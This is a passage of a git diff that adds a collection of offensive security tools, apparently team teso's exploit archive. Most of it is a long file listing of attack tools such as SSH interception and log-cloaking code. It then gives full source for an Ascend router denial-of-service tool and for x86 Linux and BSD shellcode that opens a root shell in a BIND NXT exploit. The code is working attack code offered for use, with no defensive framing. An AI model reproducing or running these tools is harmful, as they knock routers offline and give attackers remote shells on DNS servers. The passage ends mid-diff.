other/openssh-reverse/fake-getaddrinfo.h create mode 100644 other/openssh-reverse/fake-getnameinfo.c create mode 100644 other/openssh-reverse/fake-getnameinfo.h create mode 100644 other/openssh-reverse/fake-socket.h create mode 100644 other/openssh-reverse/fingerprint.c create mode 100644 other/openssh-reverse/fingerprint.h create mode 100755 other/openssh-reverse/fixpaths create mode 100755 other/openssh-reverse/fixprogs create mode 100644 other/openssh-reverse/getput.h create mode 100644 other/openssh-reverse/hmac.c create mode 100644 other/openssh-reverse/hmac.h create mode 100644 other/openssh-reverse/hostfile.c create mode 100644 other/openssh-reverse/hostfile.h create mode 100644 other/openssh-reverse/includes.h create mode 100755 other/openssh-reverse/install-sh create mode 100644 other/openssh-reverse/kex.c create mode 100644 other/openssh-reverse/kex.h create mode 100644 other/openssh-reverse/key.c create mode 100644 other/openssh-reverse/key.h create mode 100644 other/openssh-reverse/log-client.c create mode 100644 other/openssh-reverse/log-server.c create mode 100644 other/openssh-reverse/log.c create mode 100644 other/openssh-reverse/login.c create mode 100644 other/openssh-reverse/loginrec.c create mode 100644 other/openssh-reverse/loginrec.h create mode 100644 other/openssh-reverse/logintest.c create mode 100644 other/openssh-reverse/match.c create mode 100644 other/openssh-reverse/match.h create mode 100644 other/openssh-reverse/md5crypt.c create mode 100644 other/openssh-reverse/md5crypt.h create mode 100755 other/openssh-reverse/mkinstalldirs create mode 100644 other/openssh-reverse/mpaux.c create mode 100644 other/openssh-reverse/mpaux.h create mode 100644 other/openssh-reverse/myproposal.h create mode 100644 other/openssh-reverse/nchan.c create mode 100644 other/openssh-reverse/nchan.h create mode 100644 other/openssh-reverse/nchan.ms create mode 100644 other/openssh-reverse/nchan2.ms create mode 100644 other/openssh-reverse/next-posix.c create mode 100644 other/openssh-reverse/next-posix.h create mode 100644 other/openssh-reverse/openbsd-compat.h create mode 100644 other/openssh-reverse/packet.c create mode 100644 other/openssh-reverse/packet.h create mode 100644 other/openssh-reverse/pty.c create mode 100644 other/openssh-reverse/pty.h create mode 100644 other/openssh-reverse/radix.c create mode 100644 other/openssh-reverse/readconf.c create mode 100644 other/openssh-reverse/readconf.h create mode 100644 other/openssh-reverse/readpass.c create mode 100644 other/openssh-reverse/rsa.c create mode 100644 other/openssh-reverse/rsa.h create mode 100644 other/openssh-reverse/scp.0 create mode 100644 other/openssh-reverse/scp.1 create mode 100644 other/openssh-reverse/scp.c create mode 100644 other/openssh-reverse/servconf.c create mode 100644 other/openssh-reverse/servconf.h create mode 100644 other/openssh-reverse/serverloop.c create mode 100644 other/openssh-reverse/session.c create mode 100644 other/openssh-reverse/session.h create mode 100644 other/openssh-reverse/ssh-add.0 create mode 100644 other/openssh-reverse/ssh-add.1 create mode 100644 other/openssh-reverse/ssh-add.c create mode 100644 other/openssh-reverse/ssh-agent.0 create mode 100644 other/openssh-reverse/ssh-agent.1 create mode 100644 other/openssh-reverse/ssh-agent.c create mode 100644 other/openssh-reverse/ssh-keygen.0 create mode 100644 other/openssh-reverse/ssh-keygen.1 create mode 100644 other/openssh-reverse/ssh-keygen.c create mode 100644 other/openssh-reverse/ssh.0 create mode 100644 other/openssh-reverse/ssh.1 create mode 100644 other/openssh-reverse/ssh.c create mode 100644 other/openssh-reverse/ssh.h create mode 100644 other/openssh-reverse/ssh2.h create mode 100644 other/openssh-reverse/ssh_config create mode 100644 other/openssh-reverse/ssh_prng_cmds create mode 100644 other/openssh-reverse/ssh_prng_cmds.in create mode 100644 other/openssh-reverse/sshconnect.c create mode 100644 other/openssh-reverse/sshconnect.h create mode 100644 other/openssh-reverse/sshconnect1.c create mode 100644 other/openssh-reverse/sshconnect2.c create mode 100644 other/openssh-reverse/sshd.0 create mode 100644 other/openssh-reverse/sshd.8 create mode 100644 other/openssh-reverse/sshd.c create mode 100644 other/openssh-reverse/sshd_config create mode 100644 other/openssh-reverse/tildexpand.c create mode 100644 other/openssh-reverse/ttymodes.c create mode 100644 other/openssh-reverse/ttymodes.h create mode 100644 other/openssh-reverse/uidswap.c create mode 100644 other/openssh-reverse/uidswap.h create mode 100644 other/openssh-reverse/uuencode.c create mode 100644 other/openssh-reverse/uuencode.h create mode 100644 other/openssh-reverse/version.h create mode 100644 other/openssh-reverse/xmalloc.c create mode 100644 other/openssh-reverse/xmalloc.h create mode 100644 other/reverb/Makefile create mode 100644 other/reverb/README create mode 100644 other/reverb/network.c create mode 100644 other/reverb/network.h create mode 100644 other/reverb/reverb.c create mode 100644 other/shell/README create mode 100644 other/shell/sc.s create mode 100644 other/shell/shellcode.c create mode 100755 other/shell/shellxp create mode 100644 other/shell/shellxp.c create mode 100644 other/shellgen/README create mode 100644 other/shellgen/sc.s create mode 100644 other/shellgen/shellcode.c create mode 100755 other/shellgen/shellxp create mode 100644 other/shellgen/shellxp.c create mode 100644 other/ssharp/CREDITS create mode 100644 other/ssharp/CVS/Entries create mode 100644 other/ssharp/CVS/Repository create mode 100644 other/ssharp/CVS/Root create mode 100644 other/ssharp/CVS/Tag create mode 100644 other/ssharp/ChangeLog create mode 100644 other/ssharp/INSTALL create mode 100644 other/ssharp/LICENCE create mode 100644 other/ssharp/Makefile.in create mode 100644 other/ssharp/OVERVIEW create mode 100644 other/ssharp/README create mode 100644 other/ssharp/README.ssharp create mode 100644 other/ssharp/RFC.nroff create mode 100644 other/ssharp/TODO create mode 100644 other/ssharp/TODO.ssharp create mode 100644 other/ssharp/WARNING.RNG create mode 100644 other/ssharp/acconfig.h create mode 100644 other/ssharp/aclocal.m4 create mode 100644 other/ssharp/atomicio.c create mode 100644 other/ssharp/atomicio.h create mode 100644 other/ssharp/auth-chall.c create mode 100644 other/ssharp/auth-krb4.c create mode 100644 other/ssharp/auth-options.c create mode 100644 other/ssharp/auth-options.h create mode 100644 other/ssharp/auth-pam.c create mode 100644 other/ssharp/auth-pam.h create mode 100644 other/ssharp/auth-passwd.c create mode 100644 other/ssharp/auth-rsa.c create mode 100644 other/ssharp/auth-sia.c create mode 100644 other/ssharp/auth-sia.h create mode 100644 other/ssharp/auth.c create mode 100644 other/ssharp/auth.h create mode 100644 other/ssharp/auth1.c create mode 100644 other/ssharp/auth2-chall.c create mode 100644 other/ssharp/auth2-pam.c create mode 100644 other/ssharp/auth2-pam.h create mode 100644 other/ssharp/auth2.c create mode 100644 other/ssharp/authfd.c create mode 100644 other/ssharp/authfd.h create mode 100644 other/ssharp/authfile.c create mode 100644 other/ssharp/authfile.h create mode 100644 other/ssharp/bufaux.c create mode 100644 other/ssharp/bufaux.h create mode 100644 other/ssharp/buffer.c create mode 100644 other/ssharp/buffer.h create mode 100644 other/ssharp/canohost.c create mode 100644 other/ssharp/canohost.h create mode 100644 other/ssharp/channels.c create mode 100644 other/ssharp/channels.h create mode 100644 other/ssharp/cipher.c create mode 100644 other/ssharp/cipher.h create mode 100644 other/ssharp/cli.c create mode 100644 other/ssharp/cli.h create mode 100644 other/ssharp/clientloop.c create mode 100644 other/ssharp/clientloop.h create mode 100644 other/ssharp/compat.c create mode 100644 other/ssharp/compat.h create mode 100644 other/ssharp/compress.c create mode 100644 other/ssharp/compress.h create mode 100755 other/ssharp/config.guess create mode 100644 other/ssharp/config.h.in create mode 100755 other/ssharp/config.sub create mode 100755 other/ssharp/configure create mode 100644 other/ssharp/configure.in create mode 100644 other/ssharp/contrib/CVS/Entries create mode 100644 other/ssharp/contrib/CVS/Repository create mode 100644 other/ssharp/contrib/CVS/Root create mode 100644 other/ssharp/contrib/CVS/Tag create mode 100644 other/ssharp/contrib/README create mode 100644 other/ssharp/contrib/SecurID.diff create mode 100644 other/ssharp/contrib/caldera/CVS/Entries create mode 100644 other/ssharp/contrib/caldera/CVS/Repository create mode 100644 other/ssharp/contrib/caldera/CVS/Root create mode 100644 other/ssharp/contrib/caldera/CVS/Tag create mode 100644 other/ssharp/contrib/caldera/openssh.spec create mode 100755 other/ssharp/contrib/caldera/ssh-host-keygen create mode 100755 other/ssharp/contrib/caldera/sshd.init create mode 100644 other/ssharp/contrib/caldera/sshd.pam create mode 100644 other/ssharp/contrib/chroot.diff create mode 100644 other/ssharp/contrib/cygwin/CVS/Entries create mode 100644 other/ssharp/contrib/cygwin/CVS/Repository create mode 100644 other/ssharp/contrib/cygwin/CVS/Root create mode 100644 other/ssharp/contrib/cygwin/CVS/Tag create mode 100644 other/ssharp/contrib/cygwin/README create mode 100644 other/ssharp/contrib/cygwin/ssh-host-config create mode 100644 other/ssharp/contrib/cygwin/ssh-user-config create mode 100644 other/ssharp/contrib/gnome-ssh-askpass.c create mode 100644 other/ssharp/contrib/hpux/CVS/Entries create mode 100644 other/ssharp/contrib/hpux/CVS/Repository create mode 100644 other/ssharp/contrib/hpux/CVS/Root create mode 100644 other/ssharp/contrib/hpux/CVS/Tag create mode 100644 other/ssharp/contrib/hpux/README create mode 100644 other/ssharp/contrib/hpux/egd create mode 100755 other/ssharp/contrib/hpux/egd.rc create mode 100644 other/ssharp/contrib/hpux/sshd create mode 100755 other/ssharp/contrib/hpux/sshd.rc create mode 100644 other/ssharp/contrib/redhat/CVS/Entries create mode 100644 other/ssharp/contrib/redhat/CVS/Repository create mode 100644 other/ssharp/contrib/redhat/CVS/Root create mode 100644 other/ssharp/contrib/redhat/CVS/Tag create mode 100644 other/ssharp/contrib/redhat/openssh.spec create mode 100755 other/ssharp/contrib/redhat/sshd.init create mode 100644 other/ssharp/contrib/redhat/sshd.pam create mode 100644 other/ssharp/contrib/redhat/sshd.pam-7.x create mode 100644 other/ssharp/contrib/solaris/CVS/Entries create mode 100644 other/ssharp/contrib/solaris/CVS/Repository create mode 100644 other/ssharp/contrib/solaris/CVS/Root create mode 100644 other/ssharp/contrib/solaris/CVS/Tag create mode 100755 other/ssharp/contrib/solaris/README create mode 100755 other/ssharp/contrib/solaris/build-pkg create mode 100644 other/ssharp/contrib/solaris/checkinstall.in create mode 100644 other/ssharp/contrib/solaris/pkginfo.in create mode 100644 other/ssharp/contrib/solaris/postinstall.in create mode 100644 other/ssharp/contrib/solaris/preremove create mode 100644 other/ssharp/contrib/solaris/prototype create mode 100755 other/ssharp/contrib/solaris/sshd-initscript.in create mode 100644 other/ssharp/contrib/ssh-copy-id create mode 100644 other/ssharp/contrib/ssh-copy-id.1 create mode 100644 other/ssharp/contrib/sshd.pam.freebsd create mode 100644 other/ssharp/contrib/sshd.pam.generic create mode 100644 other/ssharp/contrib/suse/CVS/Entries create mode 100644 other/ssharp/contrib/suse/CVS/Repository create mode 100644 other/ssharp/contrib/suse/CVS/Root create mode 100644 other/ssharp/contrib/suse/CVS/Tag create mode 100644 other/ssharp/contrib/suse/openssh.spec create mode 100644 other/ssharp/contrib/suse/rc.config.sshd create mode 100644 other/ssharp/contrib/suse/rc.sshd create mode 100644 other/ssharp/crc32.c create mode 100644 other/ssharp/crc32.h create mode 100644 other/ssharp/deattack.c create mode 100644 other/ssharp/deattack.h create mode 100644 other/ssharp/defines.h create mode 100644 other/ssharp/dh.c create mode 100644 other/ssharp/dh.h create mode 100644 other/ssharp/dispatch.c create mode 100644 other/ssharp/dispatch.h create mode 100644 other/ssharp/entropy.c create mode 100644 other/ssharp/entropy.h create mode 100755 other/ssharp/fixpaths create mode 100755 other/ssharp/fixprogs create mode 100644 other/ssharp/getput.h create mode 100644 other/ssharp/groupaccess.c create mode 100644 other/ssharp/groupaccess.h create mode 100644 other/ssharp/hostfile.c create mode 100644 other/ssharp/hostfile.h create mode 100644 other/ssharp/includes.h create mode 100755 other/ssharp/install-sh create mode 100644 other/ssharp/kex.c create mode 100644 other/ssharp/kex.h create mode 100644 other/ssharp/kexdh.c create mode 100644 other/ssharp/kexgex.c create mode 100644 other/ssharp/key.c create mode 100644 other/ssharp/key.h create mode 100644 other/ssharp/log.c create mode 100644 other/ssharp/log.h create mode 100644 other/ssharp/loginrec.c create mode 100644 other/ssharp/loginrec.h create mode 100644 other/ssharp/logintest.c create mode 100644 other/ssharp/mac.c create mode 100644 other/ssharp/mac.h create mode 100644 other/ssharp/match.c create mode 100644 other/ssharp/match.h create mode 100644 other/ssharp/md5crypt.c create mode 100644 other/ssharp/md5crypt.h create mode 100644 other/ssharp/mdoc2man.pl create mode 100644 other/ssharp/misc.c create mode 100644 other/ssharp/misc.h create mode 100755 other/ssharp/mkinstalldirs create mode 100644 other/ssharp/mpaux.c create mode 100644 other/ssharp/mpaux.h create mode 100644 other/ssharp/myproposal.h create mode 100644 other/ssharp/nchan.c create mode 100644 other/ssharp/nchan.h create mode 100644 other/ssharp/nchan.ms create mode 100644 other/ssharp/nchan2.ms create mode 100644 other/ssharp/netfilter.h create mode 100644 other/ssharp/openbsd-compat/CVS/Entries create mode 100644 other/ssharp/openbsd-compat/CVS/Repository create mode 100644 other/ssharp/openbsd-compat/CVS/Root create mode 100644 other/ssharp/openbsd-compat/CVS/Tag create mode 100644 other/ssharp/openbsd-compat/Makefile.in create mode 100644 other/ssharp/openbsd-compat/base64.c create mode 100644 other/ssharp/openbsd-compat/base64.h create mode 100644 other/ssharp/openbsd-compat/bindresvport.c create mode 100644 other/ssharp/openbsd-compat/bindresvport.h create mode 100644 other/ssharp/openbsd-compat/bsd-arc4random.c create mode 100644 other/ssharp/openbsd-compat/bsd-arc4random.h create mode 100644 other/ssharp/openbsd-compat/bsd-cygwin_util.c create mode 100644 other/ssharp/openbsd-compat/bsd-cygwin_util.h create mode 100644 other/ssharp/openbsd-compat/bsd-misc.c create mode 100644 other/ssharp/openbsd-compat/bsd-misc.h create mode 100644 other/ssharp/openbsd-compat/bsd-nextstep.c create mode 100644 other/ssharp/openbsd-compat/bsd-nextstep.h create mode 100644 other/ssharp/openbsd-compat/bsd-snprintf.c create mode 100644 other/ssharp/openbsd-compat/bsd-snprintf.h create mode 100644 other/ssharp/openbsd-compat/bsd-waitpid.c create mode 100644 other/ssharp/openbsd-compat/bsd-waitpid.h create mode 100644 other/ssharp/openbsd-compat/daemon.c create mode 100644 other/ssharp/openbsd-compat/daemon.h create mode 100644 other/ssharp/openbsd-compat/fake-gai-errnos.h create mode 100644 other/ssharp/openbsd-compat/fake-getaddrinfo.c create mode 100644 other/ssharp/openbsd-compat/fake-getaddrinfo.h create mode 100644 other/ssharp/openbsd-compat/fake-getnameinfo.c create mode 100644 other/ssharp/openbsd-compat/fake-getnameinfo.h create mode 100644 other/ssharp/openbsd-compat/fake-queue.h create mode 100644 other/ssharp/openbsd-compat/fake-regex.h create mode 100644 other/ssharp/openbsd-compat/fake-socket.h create mode 100644 other/ssharp/openbsd-compat/getcwd.c create mode 100644 other/ssharp/openbsd-compat/getcwd.h create mode 100644 other/ssharp/openbsd-compat/getgrouplist.c create mode 100644 other/ssharp/openbsd-compat/getgrouplist.h create mode 100644 other/ssharp/openbsd-compat/getusershell.c create mode 100644 other/ssharp/openbsd-compat/getusershell.h create mode 100644 other/ssharp/openbsd-compat/glob.c create mode 100644 other/ssharp/openbsd-compat/glob.h create mode 100644 other/ssharp/openbsd-compat/inet_aton.c create mode 100644 other/ssharp/openbsd-compat/inet_aton.h create mode 100644 other/ssharp/openbsd-compat/inet_ntoa.c create mode 100644 other/ssharp/openbsd-compat/inet_ntoa.h create mode 100644 other/ssharp/openbsd-compat/inet_ntop.c create mode 100644 other/ssharp/openbsd-compat/inet_ntop.h create mode 100644 other/ssharp/openbsd-compat/mktemp.c create mode 100644 other/ssharp/openbsd-compat/mktemp.h create mode 100644 other/ssharp/openbsd-compat/openbsd-compat.h create mode 100644 other/ssharp/openbsd-compat/realpath.c create mode 100644 other/ssharp/openbsd-compat/realpath.h create mode 100644 other/ssharp/openbsd-compat/rresvport.c create mode 100644 other/ssharp/openbsd-compat/rresvport.h create mode 100644 other/ssharp/openbsd-compat/setenv.c create mode 100644 other/ssharp/openbsd-compat/setenv.h create mode 100644 other/ssharp/openbsd-compat/setproctitle.c create mode 100644 other/ssharp/openbsd-compat/setproctitle.h create mode 100644 other/ssharp/openbsd-compat/sigact.c create mode 100644 other/ssharp/openbsd-compat/sigact.h create mode 100644 other/ssharp/openbsd-compat/strlcat.c create mode 100644 other/ssharp/openbsd-compat/strlcat.h create mode 100644 other/ssharp/openbsd-compat/strlcpy.c create mode 100644 other/ssharp/openbsd-compat/strlcpy.h create mode 100644 other/ssharp/openbsd-compat/strmode.c create mode 100644 other/ssharp/openbsd-compat/strmode.h create mode 100644 other/ssharp/openbsd-compat/strsep.c create mode 100644 other/ssharp/openbsd-compat/strsep.h create mode 100644 other/ssharp/openbsd-compat/strtok.c create mode 100644 other/ssharp/openbsd-compat/strtok.h create mode 100644 other/ssharp/openbsd-compat/vis.c create mode 100644 other/ssharp/openbsd-compat/vis.h create mode 100644 other/ssharp/packet.c create mode 100644 other/ssharp/packet.h create mode 100644 other/ssharp/pathnames.h create mode 100644 other/ssharp/primes create mode 100644 other/ssharp/radix.c create mode 100644 other/ssharp/radix.h create mode 100644 other/ssharp/readconf.c create mode 100644 other/ssharp/readconf.h create mode 100644 other/ssharp/readpass.c create mode 100644 other/ssharp/readpass.h create mode 100644 other/ssharp/rijndael.c create mode 100644 other/ssharp/rijndael.h create mode 100644 other/ssharp/rsa.c create mode 100644 other/ssharp/rsa.h create mode 100644 other/ssharp/scp-common.c create mode 100644 other/ssharp/scp-common.h create mode 100644 other/ssharp/scp.0 create mode 100644 other/ssharp/scp.1 create mode 100644 other/ssharp/scp.c create mode 100644 other/ssharp/servconf.c create mode 100644 other/ssharp/servconf.h create mode 100644 other/ssharp/serverloop.c create mode 100644 other/ssharp/serverloop.h create mode 100644 other/ssharp/session.c create mode 100644 other/ssharp/session.h create mode 100644 other/ssharp/sftp-client.c create mode 100644 other/ssharp/sftp-client.h create mode 100644 other/ssharp/sftp-common.c create mode 100644 other/ssharp/sftp-common.h create mode 100644 other/ssharp/sftp-glob.c create mode 100644 other/ssharp/sftp-glob.h create mode 100644 other/ssharp/sftp-int.c create mode 100644 other/ssharp/sftp-int.h create mode 100644 other/ssharp/sftp-server.0 create mode 100644 other/ssharp/sftp-server.8 create mode 100644 other/ssharp/sftp-server.c create mode 100644 other/ssharp/sftp.0 create mode 100644 other/ssharp/sftp.1 create mode 100644 other/ssharp/sftp.c create mode 100644 other/ssharp/sftp.h create mode 100644 other/ssharp/sharpterms.pl create mode 100644 other/ssharp/ssh-add.0 create mode 100644 other/ssharp/ssh-add.1 create mode 100644 other/ssharp/ssh-add.c create mode 100644 other/ssharp/ssh-agent.0 create mode 100644 other/ssharp/ssh-agent.1 create mode 100644 other/ssharp/ssh-agent.c create mode 100644 other/ssharp/ssh-dss.c create mode 100644 other/ssharp/ssh-dss.h create mode 100644 other/ssharp/ssh-keygen.0 create mode 100644 other/ssharp/ssh-keygen.1 create mode 100644 other/ssharp/ssh-keygen.c create mode 100644 other/ssharp/ssh-keyscan.0 create mode 100644 other/ssharp/ssh-keyscan.1 create mode 100644 other/ssharp/ssh-keyscan.c create mode 100644 other/ssharp/ssh-rsa.c create mode 100644 other/ssharp/ssh-rsa.h create mode 100644 other/ssharp/ssh-walk create mode 100644 other/ssharp/ssh.0 create mode 100644 other/ssharp/ssh.1 create mode 100644 other/ssharp/ssh.c create mode 100644 other/ssharp/ssh.h create mode 100644 other/ssharp/ssh1.h create mode 100644 other/ssharp/ssh2.h create mode 100644 other/ssharp/ssh_config create mode 100644 other/ssharp/ssh_prng_cmds.in create mode 100644 other/ssharp/ssharp.c create mode 100644 other/ssharp/ssharp.h create mode 100644 other/ssharp/sshconnect.c create mode 100644 other/ssharp/sshconnect.h create mode 100644 other/ssharp/sshconnect1.c create mode 100644 other/ssharp/sshconnect2.c create mode 100644 other/ssharp/sshd.0 create mode 100644 other/ssharp/sshd.8 create mode 100644 other/ssharp/sshd.c create mode 100644 other/ssharp/sshd_config create mode 100644 other/ssharp/sshlogin.c create mode 100644 other/ssharp/sshlogin.h create mode 100644 other/ssharp/sshpty.c create mode 100644 other/ssharp/sshpty.h create mode 100644 other/ssharp/sshtty.c create mode 100644 other/ssharp/sshtty.h create mode 100644 other/ssharp/tildexpand.c create mode 100644 other/ssharp/tildexpand.h create mode 100644 other/ssharp/ttymodes.c create mode 100644 other/ssharp/ttymodes.h create mode 100644 other/ssharp/uidswap.c create mode 100644 other/ssharp/uidswap.h create mode 100644 other/ssharp/uuencode.c create mode 100644 other/ssharp/uuencode.h create mode 100644 other/ssharp/version.h create mode 100644 other/ssharp/xmalloc.c create mode 100644 other/ssharp/xmalloc.h create mode 100644 other/telnetfp-0.1.2/Changelog create mode 100644 other/telnetfp-0.1.2/Makefile create mode 100644 other/telnetfp-0.1.2/README create mode 100644 other/telnetfp-0.1.2/base_net.cpp create mode 100644 other/telnetfp-0.1.2/fingerdb.cpp create mode 100644 other/telnetfp-0.1.2/fps create mode 100644 other/telnetfp-0.1.2/telnetfp.cpp create mode 100644 other/telnetfp-0.1.2/telnetfp.hpp create mode 100644 other/utmpcloak/utcl.c create mode 100644 other/zylyx/ChangeLog create mode 100644 other/zylyx/ReadMe create mode 100644 other/zylyx/proxy-list create mode 100644 other/zylyx/src/Makefile create mode 100644 other/zylyx/src/common.c create mode 100644 other/zylyx/src/common.h create mode 100644 other/zylyx/src/network.c create mode 100644 other/zylyx/src/network.h create mode 100644 other/zylyx/src/proxy.c create mode 100644 other/zylyx/src/proxy.h create mode 100644 other/zylyx/src/screen.c create mode 100644 other/zylyx/src/screen.h create mode 100644 other/zylyx/src/zylyx.c create mode 100644 other/zylyx/src/zylyx.h diff --git a/exploits/7350ascend/7350ascend-foo.c b/exploits/7350ascend/7350ascend-foo.c new file mode 100644 index 0000000..8980997 --- /dev/null +++ b/exploits/7350ascend/7350ascend-foo.c @@ -0,0 +1,89 @@ +/* ascend foo denial of service exploit + * 1999/09/25 + * + * basically just another lame echo/echo link, but has nice results on ascend, + * you can increase the lag in steps of 2ms by sending one packet, after some + * few hundret ms lag you overflow the internal packet buffer and the whole + * connection stalls, the router has to be rebooted. + * + * by scut / team teso [http://teso.scene.at/] + * + * compile with: gcc -o ascend-foo ascend-foo.c -Wall -lnet -DLIBNET_LIL_ENDIAN + * works fine against Ascend Pipeline * modells, haven't tried against others + */ + +#include +#include + +int +main (int argc, char **argv) +{ + int sock, c; + u_long src_ip; + u_char *buf; + u_char *qbuf; + int qbuf_s = 0; + + printf ("ascend-foo, udp echo dos attack\nby scut / team teso\n\n"); + if (argc < 2) { + printf ("usage: %s [packetsize]\n\n", argv[0]); + exit (EXIT_FAILURE); + } else if (argc == 2) { + qbuf_s = 73; + } else { + qbuf_s = atoi (argv[2]); + } + qbuf = malloc (qbuf_s); + + src_ip = libnet_name_resolve (argv[1], 0); + + if (src_ip == 0) { + printf ("invalid syntax\n"); + exit (EXIT_FAILURE); + } + + buf = calloc (1, (UDP_H + IP_H + qbuf_s)); + if (buf == NULL) { + perror ("No memory for packet"); + exit (EXIT_FAILURE); + } + + libnet_seed_prand (); + + sock = libnet_open_raw_sock(IPPROTO_RAW); + if (sock == -1) { + perror ("No socket"); + exit (EXIT_FAILURE); + } + + libnet_build_ip ( UDP_H + qbuf_s, /* content size */ + 0, /* tos */ + 0, /* id */ + 0, /* frag */ + 64, /* ttl */ + IPPROTO_UDP, /* subprotocol */ + src_ip, /* heh ;) */ + src_ip, + NULL, /* payload already there */ + 0, /* same */ + buf); /* build in packet buffer */ + + libnet_build_udp ( 7, /* source port */ + 7, + qbuf, /* content already there */ + qbuf_s, /* same */ + buf + IP_H); /* build after ip header */ + + libnet_do_checksum (buf, IPPROTO_UDP, UDP_H + qbuf_s); + + c = libnet_write_ip (sock, buf, UDP_H + IP_H + qbuf_s); + if (c < UDP_H + IP_H + qbuf_s) { + printf ("write_ip wrote too less bytes\n"); + } + printf ("completed, wrote %d bytes to victim router\n", c); + + free (buf); + + return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS); +} + diff --git a/exploits/7350bindnxt/Makefile b/exploits/7350bindnxt/Makefile new file mode 100644 index 0000000..b13942a --- /dev/null +++ b/exploits/7350bindnxt/Makefile @@ -0,0 +1,12 @@ +CFLAGS = -Wall -O2 +OBJS = nxt.o dnslib.o code.o +CC = gcc + +all: nxt + +nxt: $(OBJS) + $(CC) $(OBJS) -o nxt + + +clean: + rm -rf *.o *~ nxt diff --git a/exploits/7350bindnxt/code.c b/exploits/7350bindnxt/code.c new file mode 100644 index 0000000..1ce8ceb --- /dev/null +++ b/exploits/7350bindnxt/code.c @@ -0,0 +1,86 @@ + /**/ + +#include +#include "code.h" + +char linportshell[]= + /*chroot code - u can comment it out without making a difference*/ + "\x31\xc0\x31\xdb\x31\xc9\xb0\x0c\xeb\x3b\x5f\x8d\x57" + "\x03\x8d\x5f\x02\x80\x2a\x02\x4a\x39\xfa\x7d\xf8\x89" + "\xc8\xb0\x27\xcd\x80\x89\xc8\xb0\x3d\xcd\x80\x31\xd2" + "\xb2\x0c\x88\x0b\x89\xfb\xb1\x10\x89\xd0\xcd\x80\xfe" + "\xc9\x80\xf9\x01\x7d\xf5\x88\x4b\x01\x89\xc8\xb0\x3d" + "\xcd\x80\xeb\x09\xe8\xc0\xff\xff\xff\x30\x30\x51\x02" + + "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x74\x5f\x89\x4f\x10\xfe" + "\xc1\x89\x4f\x0c\xfe\xc1\x89\x4f\x08\x8d\x4f\x08\xfe\xc3\xb0" + "\x66\xcd\x80\xfe\xc3\xc6\x47\x10\x10\x66\x89\x5f\x14\x88\x47" + "\x08\xb0\x45\x66\x89\x47\x16\x89\x57\x18\x8d\x4f\x14\x89\x4f" + "\x0c\x8d\x4f\x08\xb0\x66\xcd\x80\x89\x5f\x0c\xfe\xc3\xfe\xc3" + "\xb0\x66\xcd\x80\x89\x57\x0c\x89\x57\x10\xfe\xc3\xb0\x66\xcd" + "\x80\x31\xc9\x88\xc3\xb0\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80" + "\xfe\xc1\xb0\x3f\xcd\x80\x88\x57\x07\x89\x7f\x0c\x89\xfb\x8d" + "\x4f\x0c\xb0\x0b\xcd\x80\xe8\x87\xff\xff\xff/bin/sh"; + +char linpeername[]= + /* same chroot code */ + "\x31\xc0\x31\xdb\x31\xc9\xb0\x0c\xeb\x3b\x5f\x8d\x57" + "\x03\x8d\x5f\x02\x80\x2a\x02\x4a\x39\xfa\x7d\xf8\x89" + "\xc8\xb0\x27\xcd\x80\x89\xc8\xb0\x3d\xcd\x80\x31\xd2" + "\xb2\x0c\x88\x0b\x89\xfb\xb1\x10\x89\xd0\xcd\x80\xfe" + "\xc9\x80\xf9\x01\x7d\xf5\x88\x4b\x01\x89\xc8\xb0\x3d" + "\xcd\x80\xeb\x09\xe8\xc0\xff\xff\xff\x30\x30\x51\x02" + + "\x31\xc0\x31\xdb\x31\xc9\xb3\x07\xeb\x67\x5f\x8d\x4f" + "\x07\x8d\x51\x0c\x89\x51\x04\x8d\x51\x1c\x89\x51\x08" + "\x89\x41\x1c\x31\xd2\x89\x11\x31\xc0\xc6\x41\x1c\x10" + "\xb0\x66\xcd\x80\xfe\xc0\x80\x79\x0c\x02\x75\x04\x3c" + "\x01\x74\x0d\xfe\xc2\x80\xfa\x01\x7d\xe1\x31\xc0\xfe" + "\xc0\xcd\x80\x89\xd3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80" + "\xfe\xc1\x80\xf9\x03\x75\xf3\x89\xfb\x31\xc0\x31\xd2" + "\x88\x43\x07\x89\x5b\x08\x8d\x4b\x08\x89\x43\x0c\xb0" + "\x0b\xcd\x80\x31\xc0\xfe\xc0\xcd\x80\xe8\x94\xff\xff" + "\xff\x2f\x62\x69\x6e\x2f\x73\x68"; + + /* only tested on freebsd */ +char bsdportshell[]= + "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x61\xeb\x7e\x5f\xc6\x47\x08" + "\x9a\x89\x47\x09\x89\x47\x0d\xc6\x47\x0d\x07\xc6\x47\x0f\xc3\x50" + "\x53\x6a\x01\x6a\x02\x8d\x4f\x08\xff\xd1\x89\x47\x24\xb0\x68\x50" + "\x6a\x10\xb3\x02\x66\x89\x5f\x10\xb3\x45\x66\x89\x5f\x12\x89\x57" + "\x14\x8d\x5f\x10\x53\xff\x77\x24\xff\xd1\xb0\x6a\x50\x6a\x02\xff" + "\x77\x24\xff\xd1\xb0\x1e\x50\x52\x52\xff\x77\x24\xff\xd1\x89\xc3" + "\xb0\x5a\x50\x52\x53\xff\xd1\xb0\x5a\x50\x42\x52\x53\xff\xd1\xb0" + "\x5a\x50\x42\x52\x53\xff\xd1\xb0\x3b\x31\xdb\x50\x88\x5f\x07\x53" + "\x89\x7f\x10\x8d\x5f\x10\x53\x57\xff\xd1\xe8\x7d\xff\xff\xff/bin/sh"; + + +c0de linux_i386[ARCH_MAX]= + { + {linportshell, sizeof (linportshell)}, + {linpeername, sizeof (linpeername)}, + }; + +c0de bsd_i386[ARCH_MAX]= + { + {bsdportshell, sizeof (bsdportshell)}, + {NULL, 0} + }; + +c0de *archs[]= + { + linux_i386, + bsd_i386 + }; + +char *archs_str[]= + { + "linux i386", + "bsd i386" + }; + +char *code_str[]= + { + "portshell code", + "peername code" + }; diff --git a/exploits/7350bindnxt/code.h b/exploits/7350bindnxt/code.h new file mode 100644 index 0000000..c547e83 --- /dev/null +++ b/exploits/7350bindnxt/code.h @@ -0,0 +1,21 @@ +#ifndef CODE_H +#define CODE_H + +#define LINUX_I386 0x0 +#define BSD_I386 0x1 +#define ARCH_MAX 0x2 + +#define PORTSHELL 0x0 +#define PEERNAME 0x1 +#define TYPE_MAX 0x2 + +typedef struct c0de { + char *code; + int codesize; +} c0de; + +extern c0de *archs[]; +extern char *archs_str[], + *code_str[]; + +#endif /* CODE_H */ diff --git a/exploits/7350bindnxt/dnslib.c 